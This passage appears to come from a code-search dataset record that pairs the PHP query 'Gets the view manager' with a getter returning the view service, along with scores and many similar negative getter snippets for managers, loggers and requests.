$this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getResponse()\n {\n return $this->response;\n }", "public function getHandler($operation)\n {\n return $this->handlers[$operation];\n }", "public function getResponse ()\n {\n return $this->response;\n }", "final protected function getMockHandler(): MockHandler\n {\n $this->mockHandler = new MockHandler();\n\n return $this->mockHandler;\n }", "public function getResponse() {\n return $this->response;\n }", "public function getResponse() {\n return $this->response;\n }" ]
[ "0.7962327", "0.7962327", "0.7865807", "0.7864189", "0.7831444", "0.7831444", "0.77855545", "0.768745", "0.76560545", "0.7610717", "0.7446234", "0.74168336", "0.73521113", "0.7320974", "0.73160267", "0.7246447", "0.71676886", "0.7144354", "0.7136968", "0.70351094", "0.68931985", "0.6885723", "0.6807254", "0.6801112", "0.67500967", "0.66911507", "0.6648671", "0.6599312", "0.6597471", "0.65898746", "0.654461", "0.65301335", "0.6500061", "0.6484918", "0.63160175", "0.63160175", "0.6294131", "0.6262088", "0.6262088", "0.6243492", "0.6223502", "0.6220772", "0.617267", "0.6162304", "0.615223", "0.615223", "0.61256903", "0.6123698", "0.60853213", "0.6080825", "0.6073665", "0.60736614", "0.60705125", "0.60705125", "0.6064098", "0.6046621", "0.60399884", "0.60343766", "0.6032613", "0.6013063", "0.6013063", "0.60103774", "0.60020554", "0.6001564", "0.59967726", "0.5960193", "0.5954474", "0.59455216", "0.59412116", "0.59411097", "0.5940052", "0.5934996", "0.5934996", "0.5934996", "0.5932439", "0.59312665", "0.59279317", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5922426", "0.5917406", "0.59103763", "0.590417", "0.5899881", "0.5899881" ]
0.0
-1
Gets the view manager
public function getView() { return $this->getService('view'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getViewManager()\n {\n return $this->viewManager;\n }", "public function getManager() {\n return $this->manager;\n }", "protected function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public function getManager()\n {\n return $this->manager;\n }", "public static function getInstance()\n\t{\n\t if (self::$instance == null)\n\t {\n\t self::$instance = new ViewModelManager();\n\t }\n\t \n\t return self::$instance;\n\t}", "public function manager($viewPath)\n {\n if (isset($this->managerByPath[$viewPath])) {\n return $this->managerByPath[$viewPath];\n }\n $this->managerByPath[$viewPath] = $this->createManagerForViewPath($viewPath);\n\n return $this->managerByPath[$viewPath];\n }", "public function getView()\n\t{\n\t\tif(NULL === $this->_view) {\n\t\t\t$this->_view = agoractu_view::getInstance();\n\t\t}\n\t\treturn $this->_view;\n\t}", "public function _getView ()\n {\n if (null === $this->_view) {\n $this->_view = Zend_Layout::startMvc()->getView();\n }\n return $this->_view;\n }", "private function getView()\n {\n if ($this->view) {\n return $this->view;\n }\n\n $this->view = $this->services->get(View::class);\n return $this->view;\n }", "protected function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n if ($this->_view === null) {\n $this->_view = Yii::$app->getView();\n }\n\n return $this->_view;\n }", "public function getView()\n {\n return $this->_view;\n }", "public function getView()\n {\n return $this->_view;\n }", "public function getView()\n {\n return $this->_view;\n }", "public function getEventManager()\n {\n if ($this->eventManager == null) {\n ControllerException::eventManagerNotDefined();\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (!isset($this['event.manager'])) {\n $this['event.manager'] = new Manager($this['dispatcher']);\n }\n return $this['event.manager'];\n }", "public function getView() {\r\n return $this->_view;\r\n }", "public function getObjectManager() {\n\t\tif(($this->objectManager instanceof \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager) === false) {\n\t\t\t$this->objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance(\\TYPO3\\CMS\\Extbase\\Object\\ObjectManager::class);\n\t\t}\n\n\t\treturn $this->objectManager;\n\t}", "public function getObjectManager() {\n\t\tif(($this->objectManager instanceof \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager) === false) {\n\t\t\t$this->objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Object\\\\ObjectManager');\n\t\t}\n\n\t\treturn $this->objectManager;\n\t}", "public function getView()\n {\n if (!$this->view) {\n $this->view = Kerisy::$app->get('view');\n $this->view->setDirectory($this->getViewPath());\n }\n return $this->view;\n }", "public function getView()\n\t{\n\t\treturn $this->_view;\n\t}", "public function getView()\n {\n $view = App::$locator->view;\n if ($this->layout) {\n $view->setLayout($this->layout);\n }\n \n return $view;\n }", "function getView() {\n\t\treturn $this->View;\n\t}", "public function getEventManager()\n {\n return $this->eventManager;\n }", "public function getEventManager()\n {\n return $this->eventManager;\n }", "public function getObjectManager()\r\n {\r\n return $this->objectManager;\r\n }", "protected function getObjectManager()\n {\n return $this->_objectManager;\n }", "public function getViewFactory()\n {\n return $this->view;\n }", "public function getView() {\n\t\treturn $this->view;\n\t}", "public function getView() {\n\t\treturn $this->view;\n\t}", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getView()\n {\n return $this->view;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getObjectManager()\n {\n return $this->objectManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager);\n }\n\n return $this->eventManager;\n }", "public function getView()\r\n {\r\n return $this->view;\r\n }", "public function getDocumentManager()\n {\n return $this->getObjectManager();\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "public function getEventManager()\n {\n if (null === $this->eventManager) {\n $this->setEventManager(new EventManager());\n }\n\n return $this->eventManager;\n }", "protected function getObjectManager()\n {\n return $this->objectManager;\n }", "static public function getView() {\n\t\treturn self::$defaultInstance;\n\t}", "public function getObjectManager(): mixed\n {\n return $this->objectManager;\n }", "public function getManager(): Gutenberg\n {\n return $this->manager;\n }", "function getView() {\r\n return $this->view;\r\n }", "function analogue()\n {\n return Manager::getInstance();\n }", "protected function getVictoireViewReference_ManagerService()\n {\n return $this->services['victoire_view_reference.manager'] = new \\Victoire\\Bundle\\ViewReferenceBundle\\Connector\\ViewReferenceManager($this->get('victoire_view_reference.redis.manager'), $this->get('victoire_view_reference.redis.repository'), $this->get('victoire_view_reference.transformer_chain'));\n }", "function getDisplayManager()\n {\n return $this->displayManager;\n }", "public function getView()\n\t{\n\t\treturn $this->view;\n\t}", "public static function get() {\n\t\t\tstatic $manager = null;\n\n\t\t\tif ( $manager === null ) {\n\t\t\t\tif ( function_exists( 'wpcom_vip_add_role' ) ) {\n\t\t\t\t\t$manager = RoleManagerVIP::get_instance();\n\t\t\t\t}\n\n\t\t\t\tif ( ! function_exists( 'wpcom_vip_add_role' ) ) {\n\t\t\t\t\t$manager = RoleManagerWP::get_instance();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $manager;\n\t\t}", "public function getDocumentManager()\n {\n return $this->documentManager;\n }", "protected function getMessageManager()\n {\n return $this->getContext()->getMessageManager();\n }", "protected function getView()\n {\n $this->getBootstrap()->bootstrap('view');\n return $this->getBootstrap()->getResource('view');\n }", "public function getView()\n {\n if (!$this->view) {\n $viewClass = $this->viewClass;\n $this->view = new $viewClass();\n\n $this->initializeViewAdditions();\n }\n\n return $this->view;\n }", "private function getEventManager()\n {\n return $this->container->get('event_manager');\n }", "public function getView() {\n \t\n \t// Return the current view\n \treturn $this->sView;\n }", "public function getView() {\n return $this->setView();\n }", "public function getEventsManager()\n {\n return $this->eventsManager;\n }", "protected function getObjectManager()\n {\n return $this->managerRegistry->getManager($this->managerName);\n }", "public function getManager() {\n return $this->em;\n }", "protected function _getDefaultView()\n {\n \trequire_once 'Zend/Environment/View.php';\n $view = new Zend_Environment_View();\n return $view;\n }", "protected function view()\n {\n if (! $this->view) {\n $this->view = Mockery::mock(Factory::class);\n }\n\n return $this->view;\n }", "public static function getInstance()\n\t{\n\t\tstatic $xInstance = null;\n\t\tif(!$xInstance)\n\t\t{\n\t\t\t$xInstance = new Manager();\n\t\t}\n\t\treturn $xInstance;\n\t}", "public function getView(){\n\t\treturn $this->view;\n\t}", "public function manager()\n {\n \treturn $this->hasOne(manager::class);\n }", "public function getObjectManager();", "public function getObjectManager();", "public function getView() {\n\t\treturn $this -> st_view;\n\t}", "public function getViewEnvironment()\n {\n return $this->view;\n }", "protected function getNewViewInstance() {\n return $this->objectManager->get('TYPO3\\\\CMS\\\\Fluid\\\\View\\\\StandaloneView');\n }", "public function getFormManager()\n {\n if(!$this->formManager){\n $this->setFormManager( $this->getServiceLocator()->get('FormElementManager') );\n }\n return $this->formManager;\n\n return $this->formManager;\n }", "public function isManager()\r\n {\r\n \treturn $this->manager;\r\n }", "public function getServiceManager ()\n {\n return $this->serviceManager;\n }", "public function getView(): ViewInterface\n {\n return $this->view;\n }", "public function getEventManager()\n {\n if (is_null($this->_events)) {\n $container = ContainerBuilder::buildContainer(\n [\n 'DefaultEventManager' => Definition::object(\n 'Zend\\EventManager\\SharedEventManager'\n )\n ]\n );\n $sharedEvents = $container->get('DefaultEventManager');\n $events = new EventManager();\n $events->setSharedManager($sharedEvents);\n $this->setEventManager($events);\n }\n return $this->_events;\n }", "public function &getCurrentView()\n {\n return $this->_view;\n }", "public function getView()\r\n {\r\n return $this->_controller->getView();\r\n }", "private function getUserManager() {\n return $this->get('seip.user_manager');\n }", "public function getSharedManager();", "protected function getView(){\n if(!$this->_view){\n $this->_view=new JView();\n }\n return $this->_view;\n }", "function get_view()\n{\n return Zend_Registry::get('view');\n}", "protected function getIntentionManager()\n {\n return $this->get('intention.execution_manager');\n }", "public function view()\n {\n return $this->view;\n }", "public function view()\n {\n return $this->view;\n }", "public function getLayout()\n {\n if ($this->__layout) {\n return $this->__layout;\n }\n\n $this->__layout = new ViewEntity();\n\n $layoutName = 'layout/layout';\n $layoutPath = $this->__defaultScriptPath;\n\n $yaceConfig = $this->__config->get('yace');\n if ($yaceConfig) {\n // Check layout_name configuration\n $test = $yaceConfig->get('layout_name');\n if (!$test) {\n $layoutName = $test;\n }\n\n // Check layout path configuration\n $test = $yaceConfig->get('layout_path');\n if (!$test) {\n $layoutPath = $test;\n }\n }\n\n $this->__layout->setViewName($layoutName)\n ->setScriptPath($layoutPath);\n\n return $this->__layout;\n }", "private function getArrangementProgramManager() {\n return $this->get('seip.arrangement_program.manager');\n }", "protected function getView()\n {\n if( $this->view == null ) {\n $this->view = clone $this->getServiceLocator()->get('View');\n $this->view->setResponse(new Response());\n }\n return $this->view;\n }", "public function getCManager() {\n return $this->_cmanager;\n }", "public static function getInstance()\n\t{\n\t\tif(self::$_instance == null)\n\t\t{\n\t\t\tself::$_instance = new Business_BlockManagement_Views();\n\t\t}\n\t\treturn self::$_instance;\n\t}" ]
[ "0.8783244", "0.7067067", "0.706599", "0.70657104", "0.70657104", "0.70657104", "0.68439674", "0.682366", "0.66490364", "0.65647", "0.64939797", "0.64801615", "0.6461177", "0.64446783", "0.64446783", "0.64446783", "0.64445466", "0.6410938", "0.6403208", "0.63964593", "0.6343144", "0.6342106", "0.63391596", "0.6333112", "0.6331859", "0.63197476", "0.63197476", "0.63152206", "0.6300007", "0.6296885", "0.62963265", "0.62963265", "0.627887", "0.627887", "0.627887", "0.627887", "0.627887", "0.627887", "0.627887", "0.627887", "0.6265596", "0.6265596", "0.6265596", "0.6265596", "0.6264162", "0.6257867", "0.6252219", "0.6250097", "0.6250097", "0.6250097", "0.6250097", "0.6241058", "0.62313354", "0.62312764", "0.6228419", "0.6225601", "0.621855", "0.6213725", "0.6212737", "0.6210951", "0.61823094", "0.61821616", "0.61497533", "0.6135988", "0.6130277", "0.6112076", "0.6109534", "0.61042374", "0.61036354", "0.60935456", "0.60825366", "0.6054851", "0.6043867", "0.6019155", "0.5969133", "0.59662247", "0.5929092", "0.5929092", "0.59271765", "0.5923013", "0.5912685", "0.59082675", "0.58987254", "0.58839905", "0.5871622", "0.5870041", "0.5862264", "0.58599204", "0.58388066", "0.5837623", "0.5833538", "0.58324194", "0.5830567", "0.5829396", "0.5829396", "0.5825876", "0.5822001", "0.58091", "0.580846", "0.58080715" ]
0.64187235
17
Gets the logging service
public function getLogger() { return $this->getService('logger'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function getLogService() {\n return $this->_logService ?\n $this->_logService :\n $this->_logService = $this->getServiceLocator()->get('LogService');\n }", "protected function getLoggerService()\n {\n return $this->services['logger'] = new \\Symfony\\Component\\HttpKernel\\Log\\Logger();\n }", "protected function getLogService()\n {\n return $this->services['log'] = new \\phpbb\\log\\log(${($_ = isset($this->services['dbal.conn']) ? $this->services['dbal.conn'] : ($this->services['dbal.conn'] = new \\phpbb\\db\\driver\\factory($this))) && false ?: '_'}, ${($_ = isset($this->services['user']) ? $this->services['user'] : $this->getUserService()) && false ?: '_'}, ${($_ = isset($this->services['auth']) ? $this->services['auth'] : ($this->services['auth'] = new \\phpbb\\auth\\auth())) && false ?: '_'}, ${($_ = isset($this->services['dispatcher']) ? $this->services['dispatcher'] : $this->getDispatcherService()) && false ?: '_'}, './../', 'adm/', 'php', 'phpbb_log');\n }", "protected function getServiceName()\n {\n return 'logger';\n }", "protected function getLoggerService()\n {\n $this->services['logger'] = $instance = new \\Symfony\\Bridge\\Monolog\\Logger('app');\n\n $instance->useMicrosecondTimestamps(true);\n $instance->pushHandler($this->get('monolog.handler.console'));\n $instance->pushHandler($this->get('monolog.handler.main'));\n\n return $instance;\n }", "public function getLogger()\n {\n if (!$this->logger)\n {\n $this->logger = $this->getDi()->getShared('logger');\n }\n return $this->logger;\n }", "public function getLogger() {\n return $this->logger ?: \\Drupal::service('logger.factory')->get('search_api');\n }", "private function getLogger()\n {\n return $this->logger;\n }", "private function getLogger()\r\n {\r\n if ($this->logger === null) {\r\n $this->logger = $this->create();\r\n }\r\n\r\n return $this->logger;\r\n }", "public static function getInstance()\r\n \t{\r\n \t\t$logger = ConfService::getLogDriverImpl();\r\n \t\treturn $logger;\r\n \t}", "public function getLogger()\n {\n return $this->log;\n }", "public function getLogger()\n {\n return $this->_logger;\n }", "public function getLogger()\n {\n return $this->_logger;\n }", "public function getLogger()\n {\n return $this->_logger;\n }", "protected function getLogger()\n {\n return $this->_logger;\n }", "protected function getLogger()\n {\n return $this->_logger;\n }", "protected function getLogger()\n {\n return $this->_logger;\n }", "public function getLogger()\n {\n return $this->logger;\n }", "public function getLogger()\n {\n return $this->logger;\n }", "public function getLoggerInstance()\n {\n return $this->logInstance;\n\n }", "public static function get() {\n return self::$logger;\n }", "public function getLogging()\n {\n return isset($this->logging) ? $this->logging : null;\n }", "public final function getLogger ()\n {\n return $this->context->getLogger();\n }", "public static function getInstance()\r\n {\r\n if (!sfLogger::$logger)\r\n {\r\n // the class exists\r\n $class = __CLASS__;\r\n sfLogger::$logger = new $class();\r\n sfLogger::$logger->initialize();\r\n }\r\n\r\n return sfLogger::$logger;\r\n }", "public function getLogger(){ return $this->_logger; }", "public static function getInstance()\n {\n // the class exists\n $class = __CLASS__;\n sfFlexibleLogger::$logger = new $class();\n sfFlexibleLogger::$logger->initialize();\n\n return sfFlexibleLogger::$logger;\n }", "protected function log_manager() {\n\t\treturn tribe( 'logger' );\n\t}", "public function getLogger() : Logger {\n return $this->context->getLogger();\n }", "function get_logger() {\n return $this->logger;\n }", "static private function getLogger(){\n \n if (!isset(self::$loggerM)){\n self::$loggerM = LoggerMgr::Instance()->getLogger(__CLASS__);\n }\n return self::$loggerM;\n }", "public function getLogger()\n {\n if ($this->logger === null) {\n $this->logger = new NullLogger();\n }\n\n return $this->logger;\n }", "public function getLogger()\n {\n if (null === $this->logger) {\n $this->logger = new NullLogger();\n }\n\n return $this->logger;\n }", "protected function getLogger()\n {\n if (null === $this->logger) {\n $this->logger = new NullLogger();\n }\n\n return $this->logger;\n }", "static public function getLogger()\n\t{\n\t\tif (! self::$instance) {\n\t\t\tself::configureInstance();\n\t\t}\n\n\t\treturn self::$instance;\n\t}", "public function getLogger(): Logger\n {\n return API::ffi()->ts_parser_logger($this->data);\n }", "protected function getLogger() {\n if (is_null($this->logger)) {\n $this->logger = Logger::getLogger('report.sqldatagenerator');\n }\n\n return($this->logger);\n }", "public function getLogger() : Logger\n {\n return $this->logger;\n \n }", "function logger() {\n\t\t/** @var \\Phanda\\Logging\\Manager $loggingManager */\n\t\t$loggingManager = phanda()->create(\\Phanda\\Logging\\Manager::class);\n\n\t\treturn $loggingManager->getLogger();\n\t}", "public function getLogger(\n \t$logType = TechDivision_Logger_System::LOG_TYPE_SYSTEM)\n {\n \treturn $this->getContainer()->getLogger();\n }", "public function getLogger(\n \t$logType = TechDivision_Logger_System::LOG_TYPE_SYSTEM)\n {\n \treturn $this->getContainer()->getLogger();\n }", "public function getLogger()\n {\n $log_name = 'importer';\n $logger = CustomLog::create( $this->getLog(), $log_name );\n return $logger;\n }", "public function getLogger() {\n\t\tif (is_object($this->logger)) {\n\t\t\treturn $this->logger;\n\t\t}\n\t\tif (property_exists($this,'application') && is_object($this->application)) {\n\t\t\treturn $this->application->getLogger();\n\t\t}\n\t\treturn null;\n\t}", "protected function logger() {\n if (!$this->logger)\n $this->logger = Support_Resources::logger('Routing');\n return $this->logger;\n }", "protected function getSncRedis_LoggerService()\n {\n return $this->services['snc_redis.logger'] = new \\Snc\\RedisBundle\\Logger\\RedisLogger($this->get('monolog.logger.snc_redis', ContainerInterface::NULL_ON_INVALID_REFERENCE));\n }", "public static function get()\n {\n if (self::$logger === null) {\n self::$logger = self::getBoolIni(\"datadog.trace.debug\")\n ? new ErrorLogLogger(LogLevel::DEBUG)\n : new NullLogger(LogLevel::EMERGENCY);\n }\n return self::$logger;\n }", "public function getLogger(): LoggerInterface\n {\n return $this->logger;\n }", "public function getLogger(): LoggerInterface\n {\n return $this->logger;\n }", "public function logger()\n {\n return $this->logger;\n }", "public function logger()\n {\n return $this->logger;\n }", "public function getLogger()\n {\n return $this->logger = Zend_Registry::get('logDb');\n }", "public function getAppLogger()\n {\n return $this->oLogger;\n }", "protected function getMonolog_Logger_PhpService()\n {\n $this->services['monolog.logger.php'] = $instance = new \\Symfony\\Bridge\\Monolog\\Logger('php');\n\n $instance->pushHandler($this->get('monolog.handler.console'));\n $instance->pushHandler($this->get('monolog.handler.main'));\n\n return $instance;\n }", "public function getLogger(): LogManager\n {\n return $this->logger;\n }", "public function getLogger(): LoggerInterface\n\t{\n\t\treturn $this->logger;\n\t}", "public function getLogger();", "public function getLogger();", "private function getGraylogService()\n {\n if ($this->graylogService instanceof GraylogService) {\n return $this->graylogService;\n } elseif ($this->graylogService instanceof DependencyProxy) {\n return $this->graylogService->_activateDependency();\n } else {\n return new GraylogService();\n }\n }", "public function getLog()\n {\n return $this->get('log');\n }", "public function getLog()\n {\n return $this->get('log');\n }", "private function logger()\n {\n $msgLog = new Logger('RequestResponseLogs');\n $msgLog->pushHandler(new StreamHandler(storage_path('logs/amadeus.log'), Logger::INFO));\n return $msgLog;\n }", "public function getLogger(): Logger\n {\n if(empty($this->logger)) {\n $path = C::Storage()->getLogPath() . DS . date(\"Y-m-d\") . '-' . $this->channel . '.log';\n $logger = new Logger('Task');\n $loglevel = Logger::toMonologLevel(C::Config()->get('main:logging.logoutput.level', 'info'));\n $permissions = C::Config()->get('main:logging.file_permission', 0664);\n $logger->pushHandler(new StreamHandler($path, $loglevel, true, $permissions));\n\n $this->logger = $logger;\n }\n\n return $this->logger;\n }", "public static function getLogger();", "protected function current_logger() {\n\t\treturn tribe( 'logger' )->get_current_logger();\n\t}", "protected function getLogManager()\n {\n return \\DMK\\Mkpostman\\Factory::getLogManager();\n }", "public function getObject() {\n return Log::getInstance();\n }", "private static function loggerInterface(): LoggerInterface {\n\n if (self::$loggerInterface == null) {\n self::$loggerInterface = LoggerFactory::create();\n }\n return self::$loggerInterface;\n }", "protected function getMonolog_Logger_CacheService()\n {\n $this->services['monolog.logger.cache'] = $instance = new \\Symfony\\Bridge\\Monolog\\Logger('cache');\n\n $instance->pushHandler($this->get('monolog.handler.console'));\n $instance->pushHandler($this->get('monolog.handler.main'));\n\n return $instance;\n }", "public function service() {\n return $this->service;\n }", "protected function getMonolog_Logger_SecurityService()\n {\n $this->services['monolog.logger.security'] = $instance = new \\Symfony\\Bridge\\Monolog\\Logger('security');\n\n $instance->pushHandler($this->get('monolog.handler.console'));\n $instance->pushHandler($this->get('monolog.handler.main'));\n\n return $instance;\n }", "protected function _getLogger(\n $logType = TechDivision_Logger_System::LOG_TYPE_SYSTEM)\n {\n \treturn $this->getLogger();\n }", "protected function _getLogger(\n $logType = TechDivision_Logger_System::LOG_TYPE_SYSTEM)\n {\n \treturn $this->getLogger();\n }", "public function getLogger() : LoggerInterface\n {\n if (null === $this->logger) {\n $this->logger = new NullLogger();\n }\n\n return $this->logger;\n }", "public function service()\r\n {\r\n return $this->service;\r\n }", "private static function getService()\n {\n return self::$app->get(static::SERVICE_NAME);\n }", "public function getLogger(): LoggerInterface\n {\n if ($this->logger === null) {\n $this->logger = new NullLogger();\n }\n\n return $this->logger;\n }", "private static function getInstance()\n {\n if (empty(static::$instance)) {\n static::$instance = new WC_Logger(self::$additionalHandlers);\n }\n\n return static::$instance;\n }", "public function getLog()\n {\n if (null == $this->log) {\n $this->log = new LogSamling('innslag', $this->getId());\n }\n return $this->log;\n }", "public function getService()\n {\n return $this->_service;\n }", "static function getSSOLogger(){\n return parent::getLogger('SSO');\n }", "public function getService() {\n return $this->service;\n }", "public function getMessageLogger()\n {\n if (null === self::$_messageLogger) {\n self::$_messageLogger = Mage::getSingleton('tmcore/module_messageLogger');\n }\n return self::$_messageLogger;\n }", "public function getLogger(): ?LoggerInterface\n {\n return $this->logger;\n }", "public function getLoggerAware()\n {\n $aware = new LoggerAware();\n return $aware;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n\t{\n\t\treturn $this->_service;\n\t}", "public static function getLoggerInst(){\n if(!isset(self::$_instance) || empty(self::$_instance)){\n self::$_instance = new LoggersPlugin();\n }\n return self::$_instance;\n }", "function getService() {\n return $this->service;\n }", "public function service()\n {\n return $this->service;\n }", "public static function _getLogger()\n {\n return TechDivision_Logger_Logger::forClass(\n __CLASS__,\n 'TDProject/META-INF/log4php.properties'\n );\n }", "public function getLogger(): ?LoggerInterface\n {\n return $this->make(LoggerInterface::class) ?? null;\n }", "public function getService()\n\t{\n\t\treturn $this->service;\n\t}", "public function getLoger(){\n\t\treturn $this->_loger;\n\t}", "protected function getService()\n {\n return $this->service;\n }", "protected function getService()\n {\n return $this->service;\n }" ]
[ "0.82772833", "0.80404913", "0.79366267", "0.77428055", "0.7548401", "0.73680556", "0.7177469", "0.71629095", "0.714661", "0.7118457", "0.70892483", "0.7086743", "0.7086743", "0.7086743", "0.7058224", "0.7058224", "0.7058224", "0.7045741", "0.7045741", "0.7030893", "0.70136446", "0.69950145", "0.6954084", "0.69494385", "0.6942412", "0.6940419", "0.69306475", "0.68745655", "0.6835034", "0.6806799", "0.68054134", "0.67933506", "0.67711055", "0.6760058", "0.6752257", "0.6727539", "0.6702144", "0.6689803", "0.66697395", "0.66697395", "0.6651825", "0.66239786", "0.65805215", "0.6574777", "0.6567195", "0.6560185", "0.6560185", "0.65569717", "0.65569717", "0.65080726", "0.6499373", "0.6487913", "0.64868385", "0.6467989", "0.6466931", "0.6466931", "0.64522725", "0.64155924", "0.64155924", "0.6414942", "0.6390076", "0.6382565", "0.6356228", "0.63404495", "0.6307578", "0.62947136", "0.62856936", "0.62812775", "0.62754637", "0.62494826", "0.62494826", "0.62436473", "0.62246364", "0.6219221", "0.621867", "0.6216868", "0.61973536", "0.6195013", "0.6187447", "0.61867976", "0.6185942", "0.61617655", "0.6154223", "0.6141857", "0.6141857", "0.6141857", "0.6141857", "0.6141857", "0.6141857", "0.6141857", "0.61393124", "0.6138159", "0.6133052", "0.6132977", "0.61322206", "0.6129773", "0.6127257", "0.6125809", "0.60867953", "0.60867953" ]
0.7883815
3
Gets the current request
public function getRequest() { return $this->getService('request'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getRequest()\n {\n return $this->current_request;\n }", "public function getCurrentRequest()\n\t\t{\n\t\t\treturn $this->currentRequest;\n\t\t}", "public function getCurrentRequest()\n {\n return $this->container['request'];\n }", "public function request() {\n return $this->requestStack->getCurrentRequest();\n }", "protected function getRequest() {\n\t\treturn $this->request;\n\t}", "public function getRequest() {\r\n\t\treturn $this->context->getState('request');\r\n\t}", "protected function getRequest()\n {\n return $this->request;\n }", "protected function getRequest()\n {\n return $this->request;\n }", "protected function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\r\n {\r\n return Mage::registry('current_request');\r\n }", "protected function getRequest() {\n return $this->request;\n }", "public function get_request()\n\t{\n\t\treturn $this->request;\n\t}", "public function get_request()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest() {\n\t\treturn $this->request;\n\t}", "public function getRequest() {\n\t\treturn $this->getFrontcontroller()->getRequest();\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "private function getRequest()\n {\n $controller = $this->getController();\n return $controller->getRequest();\n }", "private function getRequest()\n {\n if ($this->request === null) {\n $this->request = $this->container->get('request_stack')->getCurrentRequest();\n }\n return $this->request;\n }", "public function getRequest()\n {\n return static::app()->request;\n }", "public function getRequest() {\n return $this->request;\n }", "public function getRequest()\r\n {\r\n return $this->_controller->getApplication()->getRequest();\r\n }", "public function getRequest()\n {\n return $this->_request;\n }", "public function getRequest()\n {\n return $this->_request;\n }", "function getRequest() {\n\t\treturn $this->Request;\n\t}", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest() {\n return $this->request;\n }", "public function getRequest() {\n return $this->_request;\n }", "function getRequest() {\n return $this->request;\n }", "public function request()\n {\n return $this->context->getRequest();\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest() {\n return $this->Request;\n }", "function getRequest() {\n\t\treturn $this->m_request;\n\t}", "public function getRequest()\n {\n return $this->data->request;\n }", "protected function getCurrentRequest() {\n return \\Drupal::request();\n }", "public function getRequest()\n {\n return \\Cloud::app()->getFrontController()->getRequest();\n }", "public function getRequest()\n {\n return isset($this->request) ? $this->request : null;\n }", "public function request()\n\t{\n\t\treturn $this->request;\n\t}", "public function request()\r\n {\r\n return $this->request;\r\n }", "public function request()\n {\n return $this->request;\n }", "public function request()\n {\n return $this->request;\n }", "public function getRequest() {\n return parent::getRequest();\n }", "public function getRequest(){\n \n return $this->request;\n \n }", "public function getRequest()\n {\n if (! $this->request) {\n $this->request = \\Zend_Controller_Front::getInstance()->getRequest();\n }\n return $this->request;\n }", "public function 